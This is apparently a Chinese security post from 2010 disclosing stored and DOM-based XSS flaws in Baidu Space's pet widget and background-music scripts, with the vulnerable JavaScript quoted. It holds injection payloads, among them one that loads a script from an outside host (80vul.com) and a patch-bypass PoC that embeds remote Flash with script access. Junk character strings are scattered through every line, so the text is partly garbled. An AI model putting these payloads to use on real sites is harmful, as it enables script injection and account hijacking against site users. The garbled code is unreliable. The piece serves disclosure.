百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. w k( K# B4 ]2 S2 }
" q3 c# w/ m/ P' U) _
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
: H# A$ h6 @8 T5 T* M* i/ \2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 9 g" Q0 k* P6 Y' i1 n" H) ?
0 \1 ]$ r9 a1 V8 ~9 K5 A7 r将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
; ]$ Y) q) d" J8 T: v其中BdUtil.insertWBR为
6 u, P5 p8 f- ~+ Rfunction(text, step) { 8 X' s' x0 w+ a' v3 N' L, V
var textarea = textAreaCache || getContainer();
- G' r4 A+ I/ X- ]+ I if (!textarea) { " ?9 z/ s3 @0 f6 P2 s" h' m2 ]! l: L
return text;
9 P% G, @. {5 N7 O3 Y }
5 t( \; |8 A2 k9 T6 | textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); - ^& Q1 _3 y9 D
var string = textarea.value;
0 g) S6 ^& X8 U, s8 e var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); * L" T2 b" E1 n$ {
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 6 D2 z. A0 p1 H3 x' |1 y
return result; 3 V7 u$ |7 o# L1 ~& K
} * e2 N+ p; D: F$ ]
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 2 b) E7 b2 T/ a, J: J3 L, {0 X
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
1 a6 b5 w) m8 l$ U2 C 5 M) S& g8 r& t( ~: z
二:creatbgmusic() Dom-Xss Bug
5 S- B* g& F5 g4 O8 ^' ?百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
( B7 j h; G% J+ o4 {4 Q/ H
) h- ~4 H0 \- ]3 z在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 6 B4 L/ @1 ]& e6 x
6 X# K! a0 w' d, Jfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
7 \6 @! A+ Z; c- U# x. a) h //传入的murl赋值到bgmusic1和bgmusic2中 & ?. q2 s$ G$ x8 c1 h
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 # N: h# L% R# s. }0 h% ~) P9 m
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
; d; x- }; l% y1 Z if (musicnum <= 1) {
) i/ n( I# r& @7 _ bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; ; `/ F$ x7 S4 E% z8 V0 v( `
}
6 L+ S6 D8 N# z) s bgmusic1 += "</OBJECT>";
, x& }& r7 q' w var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; " g, ?# k. S0 Q6 c$ L( h( V6 R
if (musicnum <= 1) { 2 P6 W* S; w9 T2 W* K
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
2 S* ]: R. s+ M! U2 L; p1 q }
8 y7 F, u& A7 G% ?2 a! Q% h bgmusic2 += "> </EMBED>"; . Y( F* i; t5 E8 f
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
6 r) [, l9 u' ~ var bgmus = detectWMP(); " _1 y% M; k& d1 S0 }
if (functype == "FckMusicHelper") { 4 x2 Z+ g; W% }, K# w2 d! ^
if (bgmus.installed) { ' k% S% X( x: F) W( u$ Q# q
if (bgmus.type == "IE") {
( N8 W' o7 n# e0 H7 D. x( Y# A. h return bgmusic1; % L0 W- V0 q( b- n9 H @
} else if (bgmus.type == "NS") {
, g j6 C- O5 {9 P1 a9 F3 V* N return bgmusic2; : `. }0 I3 z. D* i
}
+ _# Y% k. ^( s* t. L# n! I( l% ] } else {
+ `1 o; ]8 y7 I return bgmusic3; 9 ]1 h( p( ~' T& g. t3 E1 g
}
+ O/ z5 E5 o0 C- S: W } else { 8 n; c4 S; Q, n; ^% o
if (bgmus.installed) { , v; \3 v! ]) ]9 B5 k% n
//document.write 直接输出bgmusic变量 导致xss 3 t0 r4 E2 c( U! c+ r& j- ~
if (bgmus.type == "IE") {
) h: w* D7 f3 X+ k document.write(bgmusic1); ( M3 t1 S, J- Z4 S9 w1 r
} else if (bgmus.type == "NS") { 3 E0 R, ]& a3 \) w: \; X
document.write(bgmusic2);
" W; L9 J, K# i6 y; k$ g } ! i$ u6 ?; h9 m1 E
} else { : o6 v" E5 o I O, \# \
document.write(bgmusic3);
" k; m: K0 k9 U5 e" L5 a3 P0 { }
- U2 g! n4 ]' r return ""; - ~% W+ m4 X, o
} - v8 X6 A( [: s l+ Z
}
$ f1 G9 \0 H5 Q* e
9 C- ^! O. e. o2 \- @8 p- i' f0 {% d在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
* V' f& k {# S1 L' P" K }0 y) t# K# i+ ]
function initBlogTextForFCK(){
# ^$ e4 \6 d& H' J' }7 ?+ ~& i- z) Q//fck init music
P7 R; g1 W Y6 T# Zif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 6 |& T' k/ N6 l' y# p! @, H
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 5 \' M: {& Y; b6 [7 c
var isAutoPlay=true;
% M2 N j) r* h6 Q+ N4 t ^for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. `2 C2 k$ u: R& K$ C
var img=imgBox;
3 D& a; r5 C6 C4 r2 y if(img.getAttribute(’rel’)){ ! r7 m; O9 Q( H% Z. S
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
' A" W3 N7 K# c; ~8 l$ { var musicDiv = document.createElement("SPAN"); . H+ F- @; D/ p
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] , _/ Y" t/ w% t/ ?
+ a' p$ G1 e' i .......................... ; C+ }4 o* w7 B4 @1 G q5 Q, j
0 y) N, S+ b0 i0 ^& M, E0 I //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
6 p6 y* V, Q( e) Q4 L5 `/ J2 b var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
( ~/ N0 r5 g. \ shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
8 E5 G8 O2 Q) p6 ` musicDiv.innerHTML=shtml;
4 Q+ R+ z. Y2 S& e5 J) ] i--;n--; $ F/ r5 m. { u& [0 ]4 u# F2 Z
}
2 d: [8 o! k. ~- Z- J7 y3 x}
) d6 L% m4 Q1 Q0 M& L& H
9 l$ l5 E& ^1 Q& `+ q' E从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. , W/ j" p5 U& @3 f; J
! P& @' U9 G/ R9 j测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
3 N* j! Y! J" [; q: ]/ {" _" R0 J9 e: q. A; S/ a0 w
等待官方补丁 ( `5 s, \7 ^, c. {0 m+ o0 ^
7 j7 L/ I7 f2 v! B( W# h3 Q
update 2010年5月13日 # _9 ~1 A# h, P+ Y J
$ O9 {: u d: Q! u
官方补丁:
- n1 G) G( P: s2 O' @4 E9 `# Q8 E0 Y1 s6 @. u8 @. Y* R
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 6 i% |2 v1 x+ i2 T% u
改为: 8 D' h h {5 N$ V* X
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); ( g4 U+ G7 _( S
_* K; e! @! ^5 L2 \+ `6 f4 o
update 2010年5月13日 21:50:37
Q7 P. n$ m2 a1 L& y. \1 [, P) A; [/ s% I
补丁存在漏洞 没有过滤" 可以继续跨: ; B( P; }) d9 W7 x0 x' \- a+ B( e
1 U* ^6 W9 d! \6 H8 @4 C' bNEW POC:
6 D4 M8 p7 E6 T9 U. ?, e
( ]" r- A0 H( ]! \' r- @2 U' k/ u& c* ^8 u<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
8 b' |1 c% K) l- t0 _
% Y/ N, J9 G. Oallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
9 ~5 N; m8 d+ M9 f3 X U# O 6 q, j! R: q" M$ o
|